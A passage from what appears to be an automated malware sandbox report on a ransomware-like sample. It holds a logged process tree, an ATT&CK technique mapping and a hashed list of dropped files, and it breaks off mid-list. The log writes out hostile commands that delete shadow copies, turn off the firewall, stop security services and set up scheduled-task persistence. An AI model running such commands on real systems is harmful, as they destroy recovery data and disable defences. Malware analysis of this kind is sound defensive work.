C:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:4672
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2596
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:4424
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2612
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1612
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:2192
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1688
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2460 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4756
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:392
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1636
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:540
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3652
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4212 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3396
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:4456
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3736
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1236
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5064
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1660
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4392
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5000
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:484
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1580
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:460
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:3132
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:3928
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4976
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:3236
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:2764
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:2252
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:1612
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:3712
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260520_125613.jpg
- Size 119KB
- SHA256 be47103803c41ffd67f3196db9bb24d6c93fcc913fea575e2fd095f24fa83412
- MD5 bc352dc7adeaf9a899c829c09923de2f
- SHA1 1bc42f7b6dfc25c1abb5562a632db026d379b409
- SHA512 0317c8e250a87f785f475be54b88378edeef97fa443940da11524100b345a9673501983b2c41226c44e94dde25acf5ad8c5b280b36652d844e208511ad10b176
- SSDEEP 3072:Q7wi/XzpGAXcg5cM7FAYp8+iF7cFFOr3G:Q71/j1X1aMpAVFYFN
- TLSH T189C361438C089BD3556C87E87E475EAC7F1A2F5CD8956EEF00260EDB7E602261D8E41E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 7bd049866aa9bb4e65ed50ee2687e6fbab0f999e83698a028e23fa023a6b85e1
- MD5 925bd89c3cdf5c4578465a2f39f2c834
- SHA1 d8a98bd03b7c635ef277a7f49fb61bd1abe6dd97
- SHA512 5bc4f50aeb829a930723561728c214af1b0e049cc729007d077b846defbe97d00f412849bbaa4b1881c890e6685a61a1e943994de04fe3321214bac83641a753
- SSDEEP 1536:dMBUoHiT8AMZOxMIszoi+6UMXRtlEW+PjXQQdLkeSYr+VuBrVMe8:6BUqiIAMsxCs16hXRI/XQQGXYrfp4
- TLSH T122632B368B23FCC4777B3D40E05039561C883F6B977526BCFA801DA619A6684DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 65KB
- SHA256 5546dded170e3702dc40d8776fa1914ca568f3e01b0329329f867b0c20492b30
- MD5 a46f01970b9bdc17e1fffb007830b702
- SHA1 5cd36de675a4756caf287d0f83b45789f2bf0948
- SHA512 2997e8db1431640bb3ee52e6cfc1a75f815c01313de13e69a4961ad86beeff8980ad4fc42234c11c4d2c7ebfb3781414bca43e6013d6b25da804a21336293dd9
- SSDEEP 1536:9MBUoHiT8AMZOxMIszoi+6UMXRtlEW+PjXQQdLkeSYr+VuBrVMef:aBUqiIAMsxCs16hXRI/XQQGXYrfpT
- TLSH T10D631A368B23FCD0777B3D40E05039561C883F6B977526BCFA801DA619B6684DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 7c000fcabd9b18406c5e8743e90a4effd4a15cd1c96b2eaa757591ef1c42240b
- MD5 9bbeda310ee7524ac86e431ef08c3d0e
- SHA1 99318273f1134e741066ab3a52021796d6cbfa94
- SHA512 c54a9cda8b4b7120940e9418c8bf45baecf02ff95055709bc620843980b0ff4b42fe7709136af6e3fcd8c51d0e67ca3fef93f524c004c5e92c6adc687e322c7d
- TLSH T192E022BAC965DC3B2DFE0B58A0244746E70103073B81899B3A3D8208CFB1A375A91C6D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000023
- Size 878KB
- SHA256 1b0e03f1ad4f7e41e6c8692814f25bdb877cb1e48d256211ab3b8b82f0603894
- MD5 22fc2ebc3cd98310de8c64ef6645e66d
- SHA1 539413aa33cf09cfbe6dee6cec184b9485665518
- SHA512 6db52e65ffc4239d6e922c485e20583beb887404a33c3b5009c2c7db62f46eeadd0567eb882d07c06c2aae1632ede04a3dd90919a1d351000f4c2e9c8eeede2f
- SSDEEP 24576:RBiYprV1gJdlJC/ADWipzao1eEQPiIEhuykdKEOD:RBZ1gJzyGWipHVQPdEsNu
- TLSH T17E15331E8AE6413D9B4BB8D78E4C67317CAD52FA335FC205BED7D346232048F5A68854
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 480B
- SHA256 90d681341700919626424ceffc1a358c7f208ea9c6f69166061bb7e36327d513
- MD5 773702a7891289dfa7976c7a8f9a6ee9
- SHA1 9368e7832329d8457a84d5c430751629205b5171
- SHA512 597c737f015f772fa8144414e41d1da99aa2471755519b30a888a5dd54eb6ee0090a5fd71861fbfbda5070d11249fb8e54c074af6b43e644d63bcb72158de1c3
- TLSH T16EF0E5C2AA8883A6CF07203C89E108073598332992FEDBCE03068F202437BC9814B240
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 7KB
- SHA256 811dd26d69710e93620b8ca6495288bb58afe53399ccaaafb7abdbb75630c1ac
- MD5 f1ebf0078c3e7105c3461383b369809d
- SHA1 d027b5adc798dc34a569865c1f79b4f47ba1451b
- SHA512 ee7859d51f70339c7e22e3e56221c3d042c8650cd78a51beb991d41f9c58f8849039bcf12932be9b5c1fd7a903c6f9706c9c4b8ed7d1a87c1b85e042de6d5364
- SSDEEP 192:D2z2tt2326vwKrKaY1HE2I2l2j2a2c2hV62P2hT2XA2x2A232c26F2ht2C2uW22i:D2z2tt2326vwKrKaY1HE2I2l2j2a2c2N
- TLSH T15EF17FE3C3E88A3DCA0159F8A7146E1ACE590D1853283D26C9F8EF4F67E15B2D24154E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 cf6f56632d8baec0116c3c0211693978311588cfad0c079c814544c9a3444858
- MD5 ed9d8f7313a12adef8efb278af05957b
- SHA1 9b6e5766a5305423bb71a30d5cf190a4732e2c75
- SHA512 18bc739e63e7f67672832d31dec76cecd6ca59b659028608fbcb69b3682dd1b00c9c5b0eb2750c1b8e37efa3f1ed810fb41d10258724de4ab7a2b9e9b55e41a7
- TLSH T1274167F7C7E88A7D890092F8A7196E1FCE6D0E14536C3C56C8D4AE1B53E2971D20158E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 11KB
- SHA256 b1c525b8e89fa4c4f330653c667d4e8ca55d0663cbf5b3801a11fb2dbb05a7a4
- MD5 b79355226b74e4c068d0ce3342c8a825
- SHA1 12f34b20f55185067b58601a6059ffa921fa3431
- SHA512 90e92e2120b9e7b649b4985206e50c2ba0339ba76b66cc8021679e2c65d7ecdae02030d2a0207a671f5a5d04f60bb3d48ca0beaf129e15ab1f9ff7ab661e910b
- SSDEEP 192:qRtxPZvT6ndov7lpAPRp2ylR9+Hjrb+WNnDdAkj2aBe+GVyIsnAUge:qRtxRr00RUX70NR/22ee
- TLSH T10E42E8AEED24647B5CCBD219FA257753E7F9102222D42E84EAFC8A2C14E79CC311741B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 17KB
- SHA256 c48ea4851d93573421a1f5e92dfdd9c0cc0bbeca9216e615794ab2013501d5f1
- MD5 9365e110646fce4577746230e9396c69
- SHA1 43e90a5f0d59e1baf6618dc088b25f7ee4f34390
- SHA512 9a5685ed76a706c9438a8141f54d0da5f900ed9164cb7aba717892a4e4661ae16db249ed13fc8eb242bd0321b328b8cf3e2f2ff69067bbe412ad1a880371f8d4
- SSDEEP 384:RXjVs7KxkXqKf/pUZNCgVLH2Hfgsl++M9r7pLuLcSjzOXODV0+ErU3O3MDTHGRjs:RzVs7KxkXqKf/pUZNCgVLH2Hfgs8+M9k
- TLSH T1A97209A76C4C8E7B0F94C6CCD8267B4FADB5024B55D9C86483FA582903D5BCB110A1FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\e5171e158175bdf42de1fd50a0e5e4cce5971d84\index.txt
- Size 135B
- SHA256 f4642d956118b7f232a50d3f433b25517c624d82c42f7685f3a0f3ca0401677d
- MD5 9f4ecf8162bcd3fc3efb812aff735e8e
- SHA1 b4dfc9620adafdd76e33402c2c7a5062ea7b7d94
- SHA512 a03c3f7e376d86a02474e2c9e7399f227720ce8066a6c2d3ef26df1c0867edf1f6a8b8055b15beb9fce36750d5939c479958565fd11224172d56bd93a95b767b
- TLSH T1AFC08C4F3830401FBE88D19218002E31A303440C46D4483080B0AA9AC882172C2C0B18
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\e5171e158175bdf42de1fd50a0e5e4cce5971d84\index.txt~RFe58db48.TMP
- Size 142B
- SHA256 34dab2c869fb97d33aa137dc7cc7b402a60b3df82fb8fe7a00f8939096a3c2ba
- MD5 7ce23196da7fc2b1374dded7ba893d2b
- SHA1 2858a9cd5e61ffe215aa3af1f3653d644644803f
- SHA512 ebe6720985515fb6930b84a3e0ac6d17638f4040f7f6ccc2f2beb203a60696f3874b802331f931afc1a758e53df6c44201ed61759912f754549aa9420bfa132e
- TLSH T185C04C5F3830402EBE99D19358502E6567174D4C5AD4483085B0B69AD5B2173C6C4B59
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 5fc9c059b7bc3cdd8f69e8136f762df494c8004b3106bca4c35e7072a1ca6a66
- MD5 587330acd29cb9222589b4dd5b9a1ebf
- SHA1 8038a4c0b6818355f3ecb89a4b8e32167aa8b28a
- SHA512 42cf1215a4869dba4ac2ebaf69ea3fdab0658f52aab0423208fecf4f899ccf11174c5cbf0fbd76cdf314475540c3385155854577eaf7836c5e341db8d0ca398b
- TLSH T12CC01255C006E372C21703F92083DADCB2689F20E71E134943F21D66A8352318056296
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe589006.TMP
- Size 96B
- SHA256 79dc1ef92fefff4061ebfe44139c6c65bea01163d9095f190c3d519bc0ac0174
- MD5 49a3dc25ce9264ba989c90dd98599adb
- SHA1 f1fae5c8c96fd5e9588c5d6f3fbaa3a087a9f034
- SHA512 3a36f1cbc3b0a85b0f837bc411a4efc1277df1ad450acba1cde2052dfe3669863174c4007a567c24a4975f00133118e9c2e674fdd42c926bde027a79bdb525a4
- TLSH T140B022C0C0022202C08203B03A82A8CCB0A0EF30C28B0B02A2E00F2AFC382A088320A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 e19843a402edff6f6ab10e45af07b851b16c5c1f56ef80ec4166bb7e31eae987
- MD5 94d9f7da5ebf6d5bd81839a06b047bf1
- SHA1 73e972eb1778bbaefa2ecd6110c6432f4fbf2999
- SHA512 b323259c8fd3c2d8f42e144271cc98552559fe05134af9f1bdbb70223cbf086ec488887f36ab2dcfc259a9d835de2102be6b6ad0de8ffa981e43bda28a396750
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OXJWVumMnu5:1nbZeMrv/hGtX3nu
- TLSH T18CD3874B3A743002EDE68A722CE0517B5D3CB16D8F51E5D428B620688EF2953A63D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 63662fd42de15424fa311a97ebf9c36394251ca3ae12c8ac3065d6f4d6a71e6f
- MD5 c18eab9f93985dd50f094184d90119d8
- SHA1 3152822b6e006982bb66c01d105b86bc9d3244f7
- SHA512 4a30b9c6e5808582a6908e0eb69764858ce0752f66b1e991f36cb5925658027bcda514d7d7ce039e29fab0618917f8fc79b7385497deb82f348076dce9015040
- SSDEEP 3072:6Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrML:dm7Rkm1tYpBeh2BAoL
- TLSH T18FC312379D74E9375DB9B75EB08E0B1F1EF149A3D920DE92C8D85B0423E96CD0A05A34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 228KB
- SHA256 4817eaaeb6efdc9c689e2422a247bba4cf4e238f1c7dccdb1b007261dd3c5028
- MD5 c471750a9c7186e6c310f5c7bf02489d
- SHA1 75890d6b12bfdbf2e4fb11a6cc4b0b79b64236bd
- SHA512 39880ae59ddeb521a42823ea15b482353f9e3ac07731df43560abf98f0e964e1f63c82d1dbb1fc12e868a55c954f9a434c31e73a6451819e98f6df5ce12cd3ac
- SSDEEP 6144:rC17R/UlJ+PCDd3UOR0S10m7Rkm1tYpBeh2BAo0:U9MlJ+KDBU/c9oBGcAo0
- TLSH T1C43412264D75A97355FAB35B344B1B1E1EB20DE7CA24F9918DE25F08239D2C80EC7439
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 2def186e23f6fb173d98bf9dff797f8030ef153e34e744475c17e8289f6374cf
- MD5 c14e1aab18fab4b9a81b0db68d2c7c81
- SHA1 1da35c586e96588b0d115502e37b6779c7f2d14f
- SHA512 519cb5cce8c348c75ad3cd09149651f842602231a7fac7c6fd38911854b897b27ca9993715a7ba7c2a61c3342de5fc01a147376d02eff16a087b01453feb62c5
- SSDEEP 3072:qGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMa:tm7Rkm1tYpBeh2BAoa
- TLSH T126C312279E71A9775979BB4EB08E0B1F1EF149A3D920DE82C8D85B0427F97CD0A05934
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 228KB
- SHA256 d5fe0688e0c6e87e48217e16a80b297085bc94fdc7fd78a571ce204ad6788739
- MD5 956ab73a31c51c757ea557e03723a832
- SHA1 9cff3d38b0228d287578e3131d26529caf65e65c
- SHA512 edfe7f7d5c0c982f639903c8f8a099a96b83478062d839c02c9b7e66761d9bef52aba902af1337f53daba842c7dae8b5a3956749fd0506def837493d3f85b15e
- SSDEEP 6144:n5C17R/UlJ+PCDd3UOR0S10m7Rkm1tYpBeh2BAo0:m9MlJ+KDBU/c9oBGcAo0
- TLSH T1D13412364D75A97255FAA39B344B2B1A0EF24DE7CF24F9958CE12F04235D2C84E87839
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5h3hpirl.skt.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 c9138f98d20294ccd4c6172b57f80541501964b489e9f0b8724572bfcfcdfa22
- MD5 d17f335b1330758acbbfc0f7eccfdde3
- SHA1 24120312c45925028f4f705236bc60e5a2780162
- SHA512 c5ebde6194088e5185d847124e090829e2ba94abd117dfe76215631e3f0448b62a8ae67b61f175833ca07a68f6bfb09243b42ab2faf0ea6bb4de04830ba63e47
- TLSH T15BE07D47610CC66A00051167C1F2CE4CD4A054293737BE2097A0DC0D37508C549F1442
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 d792b0b124498b8c86c3a4a8e73b33f6551c5116dc8f815b655a4863be11c549
- MD5 05186017703e740674d4c9aeea44477e
- SHA1 bc6533737d92a89bdf9b79e2846f7762357103b3
- SHA512 7c8e1eb20b71e23b58586a43e913f46aa0d30139222f85bf0062aa6311e39bc41a8b87e1797fa7940cee83074a0f3104d93b6eb9477bf6dd67bf7331d1150724
- TLSH T1A1E0CD47611CC66A0015517BC1F3CE4CD5D155293B37AE24E765DD0D375188559F1542
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 157KB
- SHA256 6b53cc75e298e3c4959da070ee67359efefc8d2bae8b3c77a012892d6c0c54e3
- MD5 be01d95a8cef74ebbed06520753c6c07
- SHA1 b5ca8e4ca3f3eb9a39e12b4ee517b0d04d51dff9
- SHA512 eaf2c93218d3b5b99b0e1685698bee60009dac3b2ba5d5082c7ad8c0876de9a10ccd89464868ef788cc396c35231ec6ccfcbab009482cff37aca05a00401168a
- SSDEEP 3072:1p8KPDbAtEpuNrH2vs7JttLVPMqM7BTLApqmcUhDxiqrVE2U:g+kapuNrUYByqM7OpzDYV
- TLSH T14FF3BB10C2B78E7A55865AEF195636D5A17CF7F092ECD1FB20A7AE63F0338A2C21C511
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 157KB
- SHA256 8c96b97147c02929e09126905a07ffe7367cb6366535a86ec58c02b207be7b1a
- MD5 864d510ffd9a68d2871a8b6b92395e11
- SHA1 6ea46752ff9c102eea5fd0b7b7663c23fde1c552
- SHA512 745cf6fd0933b491d1d8dbf69feb1aa828208d984a79de51ad65f7bbb2d13e247b8050c4cce95320c782828a57a6c2a93db77c671bae77ffccfd25d056b6b13a
- SSDEEP 3072:yp8KPDbAtEpuNrH2vs7JttLVPMqM7BTLApqmcUhDxiqrVE2p:R+kapuNrUYByqM7OpzDYo
- TLSH T1DAF3BB10C2B7CE7A55865AEF195636D5A17CF7B092ECD1FB20A7AE63F0338A2C21C511
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 5b368fa465b508b378fd2293c33798c8b15aa5e47e0a7625d76508e797230aea
- MD5 8492453412c4945267385fcacc3a0455
- SHA1 484f3273d4e63a3b8cec67f42cbc00f2ccea995b
- SHA512 c95f58d026b232b91d323c63abe689125413008860bab8e99a9f58577337980c22c62896a05d9bf7b9a6320ca92bcbfee3f7f38322dbddf40cef5c53254f3c5c
- SSDEEP 768:HhFflWVjv2UD5Ewg6r3MtdP4q//w4GC1XXGblfA0GKFcB:BFgvVSwgcNqQ4GEXGblf9GucB
- TLSH T11933180437F98511E1FF5ABA4DB196119B30B4A79C32D78D0AD5058E1AB3740CDA8FB7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
